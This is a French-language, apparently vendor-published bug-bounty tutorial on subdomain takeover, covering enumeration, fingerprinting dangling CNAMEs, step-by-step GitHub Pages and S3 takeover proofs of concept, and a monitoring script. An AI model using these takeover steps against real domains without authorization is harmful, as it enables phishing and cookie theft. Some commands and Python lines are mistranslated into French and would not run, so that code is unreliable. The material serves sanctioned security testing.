Les prises de contrôle de sous-domaines sont l’une des vulnérabilités de haute gravité les plus fiables et reproductibles dans les programmes de primes aux bogues. Lorsqu'un enregistrement CNAME pointe vers un service non réclamé, tout attaquant peut enregistrer ce service et diffuser du contenu malveillant sous votre domaine de confiance, en volant des cookies, en effectuant du phishing et en contournant les restrictions CORS.
Une prise de contrôle de sous-domaine se produit lorsque : (1) Legacy.company.com a un CNAME pointant vers entreprise.azurewebsites.net, (2) l'Azure Web App est supprimée/déprovisionnée, laissant le CNAME « en suspens », (3) un attaquant enregistre une nouvelle Azure Web App avec le même nom d'hôte, (4) l'attaquant contrôle désormais le contenu servi sur Legacy.company.com.
.entreprise.com sont envoyés vers le contenu contrôlé par l'attaquant*.entreprise.com fera confiance au sous-domaine de l'attaquant# Passive enumeration
subfinder -d target.com -silent -all -o passive_subs.txt
# Active brute force
amass enum -active -d target.com -o active_subs.txt
# Certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
jq -r '.[].name_value' | sort -u | tee ct_subs.txt
# Combine and deduplicate
cat passive_subs.txt active_subs.txt ct_subs.txt | \
sort -u > all_subs.txt
# Check which subdomains resolve
cat all_subs.txt | dnsx -silent -resp | tee resolved_subs.txt
# Find CNAMEs
cat all_subs.txt | dnsx -silent -cname -resp | tee cnames.txt
# Example output:
# legacy.target.com -> company.azurewebsites.net
# api-old.target.com -> company.github.io
# status.target.com -> entreprise.statuspage.io
# Check if the CNAME target is unclaimed
dig +short legacy.target.com
# Returns: company.azurewebsites.net
# Check if that hostname responds
curl -v -H "Host: company.azurewebsites.net" \
https://company.azurewebsites.net 2>&1 | tête -20
# Recherchez les « empreintes digitales de reprise » :
# Azure : "Site Web 404 introuvable"
# GitHub Pages : "Il n'y a pas de site GitHub Pages ici"
# Heroku : "Aucune application de ce type"
# AWS S3 : "NoSuchBucket"
# Fastly : "Erreur Fastly : domaine inconnu"
# Nuclei a des modèles de prise de contrôle de sous-domaines intégrés
noyaux -l all_subs.txt -t takeovers/ -silent
# Ou utilisez subjack
allez installer github.com/haccer/subjack@latest
subjack -w all_subs.txt -t 100 -timeout 30 \
-ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
-o takeover_results.txt
Le puis-je-prendre-le-xyz le référentiel conserve les empreintes digitales de plus de 500 services. Services clés à vérifier :
| Service | Empreinte digitale | Reprendre? |
|---|---|---|
| Pages GitHub | "Il n'y a pas de site GitHub Pages ici" | ✅ Oui |
| AWS S3 | "Pas de tel seau" | ✅ Oui (même région) |
| Applications Web Azure | "Site Web 404 introuvable" | ✅ Oui |
| Héroku | "Aucune application de ce type" | ✅ Oui |
| Shopify | "Désolé, cette boutique est actuellement indisponible" | ✅ Oui |
| Rapidement | "Erreur Fastly : domaine inconnu" | ✅ Oui |
| Panthéon | "Erreur 404 site inconnu" | ✅ Oui |
| Wordpress.com | "Voulez-vous vous inscrire..." | ✅ Oui |
| Zendesk | "Centre d'aide fermé" | ✅ Oui |
| Surge.sh | "projet introuvable" | ✅ Oui |
Un PoC responsable démontre un impact SANS : diffuser du contenu malveillant, capturer des cookies/sessions d'utilisateurs réels, usurper l'identité de la cible ou provoquer une perturbation. Votre page PoC doit clairement s'identifier comme une démonstration de recherche sur la sécurité et ne contenir aucune fonctionnalité sensible.
# Step 1: Confirm dangling CNAME
dig +short blog-old.target.com
# Returns: targetcompany.github.io
# Step 2: Check fingerprint
curl -s https://blog-old.target.com | grep -i "github"
# Returns: "There isn't a GitHub Pages site here"
# Step 3: Create PoC repository
# Create GitHub repo: targetcompany.github.io (if available) or
# Create GitHub Pages with custom domain matching CNAME target
# Step 4: Add CNAME file in repo
echo "blog-old.target.com" > CNAME
# Step 5: Add responsible PoC page
cat > index.html << 'EOF'
<!-- SECURITY RESEARCH - SUBDOMAIN TAKEOVER PoC -->
<!-- This page is hosted by a security researcher -->
<!-- to demonstrate a subdomain takeover vulnerability -->
<!-- No malicious actions are being performed -->
<h1>Subdomain Takeover - Security Research PoC</h1>
<p>This subdomain (blog-old.target.com) is vulnerable to takeover.</p>
<p>Researcher: [your handle]</p>
<p>Reported: [date]</p>
EOF
# Confirm dangling CNAME
dig +short assets-legacy.target.com
# Returns: target-legacy-assets.s3.amazonaws.com
# Check response
curl -v https://assets-legacy.target.com 2>&1 | grep -i "NoSuchBucket"
# "The specified bucket does not exist" -> Vulnérable!
# Extrayez la région des en-têtes de réponse ou essayez :
# us-east-1 est la valeur par défaut s'il n'y a pas d'en-tête de région
# Créer un bucket PoC (MÊME NOM que la cible CNAME)
aws s3 mb s3://target-legacy-assets --region us-east-1
# Activer l'hébergement statique
site Web AWS s3 s3://target-legacy-assets \
--index-document index.html
# Téléchargez un PoC responsable
echo "<h1>PoC de reprise de sous-domaine - Recherche sur la sécurité</h1>" | \
aws s3 cp - s3://target-legacy-assets/index.html \
--content-type texte/html --acl public-read
# Démontrer l'accès aux cookies (UNIQUEMENT avec le compte de test que VOUS contrôlez)
# Créez un compte test, définissez des cookies, visitez votre page PoC
# Capture d'écran montrant le contenu du document.cookie
# Cela prouve la portée du vol de cookies
# Document avec captures d'écran :
# 1. Recherche DNS affichant un CNAME pendant
# 2. Réponse par empreinte digitale (NoSuchBucket, etc.)
# 3. Votre page PoC hébergée sur le sous-domaine
# 4. Navigateur affichant le domaine légitime + votre contenu
# 5. (Facultatif) Testez l'accès aux cookies à partir de votre propre compte de test
# Automate continuous subdomain monitoring
# Check all CNAMEs weekly for dangling status
#!/bin/bash
# monitor_dangling_cnames.sh
while IFS= read -r subdomain; do
cname=$(dig +short CNAME "$subdomain" | head -1)
if [ -n "$cname" ]; then
# Resolve the CNAME target
ip=$(dig +short "$cname" | tail -1)
if [ -z "$ip" ]; then
echo "DANGLING CNAME: $subdomain -> $cnom"
# Envoyer une alerte
fi
fi
fait < subdomains.txt
Semblable aux reprises CNAME, les enregistrements A pointant vers des adresses IP Elastic ou des adresses IP publiques Azure publiées peuvent être repris par le prochain client qui obtiendra cette adresse IP. Les IP AWS Elastic et Azure PIP publiées dans le pool peuvent être réaffectées au compte de n'importe quel client.
# Vérifiez si un enregistrement pointe vers une adresse IP cloud non allouée
creuser + court api-legacy.target.com
# Retourne : 52.xxx.xxx.xxx
# Vérifiez si l'IP appartient à AWS
boucle https://ip-ranges.amazonaws.com/ip-ranges.json | \
python3 -c "importer json,sys; \
[print(p['préfixe'], p['région'], p['service']) \
pour p dans json.load(sys.stdin)['prefixes'] \
si '52.xxx.xxx' dans p.get('ip_prefix','')]"
# Si AWS IP, essayez de la revendiquer en lançant EC2 avec cette IP
# (Ne le faites qu'avec une autorisation explicite)
Si un sous-domaine délègue des serveurs de noms à une zone qui n'existe plus (domaine expiré), un attaquant peut enregistrer ce domaine et contrôler TOUS les DNS du sous-domaine. Ceci est plus rare mais entraîne un contrôle complet des sous-domaines, y compris la messagerie électronique, HTTPS et tous les sous-domaines de la zone déléguée.
La gestion de la surface d'attaque de KENSAI surveille en permanence vos sous-domaines pour détecter les CNAME en suspens, les services déprovisionnés et les risques de prise de contrôle avant que les attaquants ne les trouvent.
Démarrer l'analyse gratuite →La gravité dépend de la fonction du sous-domaine et du niveau de confiance. Un sous-domaine marketing sans cookies peut être Medium. Un sous-domaine répertorié comme URI de redirection OAuth, approuvé par les politiques CORS ou recevant des cookies étendus au domaine racine est critique. Évaluez toujours les chemins d’attaque réels disponibles pour un attaquant qui contrôle le sous-domaine.
Cela dépend entièrement des règles de votre programme de bug bounty. De nombreux programmes autorisent les rachats de PoC avec une page de divulgation responsable. Certains l’interdisent explicitement. En cas de doute, fournissez la preuve DNS (pendant CNAME + réponse d'empreinte digitale) sans prendre le relais. Incluez une capture d'écran de ce que vous serait pouvoir le faire si vous avez enregistré le service.
Les rachats de sous-domaines doivent être considérés comme critiques : la correction est simple (supprimer l’enregistrement DNS) et le risque d’exploitation réelle par un attaquant est élevé. La plupart des programmes s'attendent à une correction le jour même ou le lendemain pour les prises de contrôle actives de sous-domaines.
La sécurité n'est pas facultative.
🗡️ L'équipe KENSAI